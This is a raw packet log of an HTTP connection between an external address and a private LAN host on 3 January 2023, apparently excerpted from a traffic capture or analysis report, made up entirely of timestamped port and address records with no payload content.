                                                                              Jan 3, 2023 08:16:06.298208952 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298221111 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298232079 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298253059 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298264027 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.298266888 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298281908 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298312902 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.298314095 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298332930 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298362017 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.298362970 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298382998 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298403025 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298410892 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.298410892 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.298423052 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298443079 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298463106 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298485041 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298500061 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298510075 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.298510075 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.298513889 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298528910 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298540115 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298552036 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298557997 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.298567057 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298580885 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298592091 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298603058 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298615932 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298628092 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298650980 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298655987 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.298670053 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298687935 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298705101 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.298705101 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.298707962 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298727036 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298744917 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298758984 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298778057 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298789024 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298800945 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298804045 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.298804045 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.298829079 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298847914 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298852921 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.298865080 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298877954 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298892021 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298899889 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.298909903 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298928976 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298943043 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298955917 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298968077 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298985004 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.298999071 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.298999071 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.299005032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.299047947 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.299128056 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.299176931 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.299253941 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.312036991 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312136889 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312176943 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312196970 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312206984 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.312232018 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312244892 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312267065 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312278032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312289953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312305927 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312309027 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.312359095 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.312359095 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.312381029 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312391996 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312405109 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312465906 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.312503099 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312551975 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312573910 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.312599897 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312627077 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312695980 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312706947 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312711000 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.312726021 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312767029 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.312798023 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312828064 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.312833071 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312861919 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312874079 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312895060 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312906981 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312916994 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.312921047 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312937021 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312958002 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312968016 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312978983 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.312999964 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313009977 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313020945 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313030958 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313054085 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313065052 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313075066 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313086033 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313087940 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.313112020 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313123941 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313136101 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.313137054 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313162088 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313174009 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313184977 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.313189030 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313230991 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313235044 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.313255072 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313282013 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313282013 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.313297033 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313308954 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313321114 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313330889 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.313333988 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313349009 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313360929 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313371897 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313380957 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.313384056 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313397884 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313409090 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313421011 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313429117 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.313433886 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313448906 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313460112 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313472033 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313483000 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313504934 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313517094 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.313524008 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313539028 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313550949 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313561916 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313565016 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.313580036 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313597918 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313627005 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.313627958 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313644886 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313657045 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313674927 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.313678026 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313694000 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313705921 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313723087 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313724995 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.313741922 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313771009 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313774109 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.313791037 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313815117 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313822985 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.313829899 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313843012 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313867092 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313872099 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.313884020 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313896894 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313919067 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313924074 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.313924074 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.313935041 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313947916 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313971996 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313971996 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.313987017 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.313998938 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314023972 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314037085 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314052105 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314071894 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.314071894 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.314071894 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.314071894 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.314075947 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314093113 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314105034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314120054 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.314131975 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314145088 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314156055 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314169884 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.314204931 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314254999 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314276934 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314284086 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.314312935 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314337969 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314357042 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.314357042 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.314368010 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314404011 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.314421892 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314455986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314475060 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314510107 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314533949 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.314533949 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.314570904 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314613104 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314635038 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314635992 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.314656973 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314680099 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314697981 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.314699888 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314722061 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314740896 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314752102 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.314759970 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314779997 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314800024 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314800978 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.314821959 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314842939 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314848900 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.314863920 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314886093 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314898014 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.314919949 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314939022 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314946890 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.314969063 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.314989090 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315004110 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.315009117 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315041065 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315063953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315068007 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.315105915 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315115929 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.315129042 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315160036 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315175056 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.315193892 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315217972 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315223932 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.315259933 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315274000 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.315278053 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315310001 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315330029 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315365076 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.315365076 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315365076 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.315437078 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315474987 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315490961 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.315514088 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315567970 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315599918 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315617085 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.315620899 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315646887 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315658092 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315664053 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.315685034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315697908 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315710068 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315721989 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315723896 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.315723896 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.315747976 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315759897 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315773010 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315800905 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315820932 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315840960 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.315850019 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315864086 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315876961 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315890074 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.315903902 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315916061 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315937042 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315948963 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.315949917 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315949917 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.315965891 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.315979004 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316013098 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316030025 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316072941 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316103935 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.316124916 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316144943 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316149950 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.316159964 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316173077 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316184044 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316199064 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.316200018 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316215038 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316226959 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316237926 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316248894 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316261053 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316272020 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316283941 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316294909 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316332102 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316363096 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316380024 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316404104 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316421986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316438913 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316467047 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316483974 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.316502094 CET8049869179.43.141.116192.168.11.20
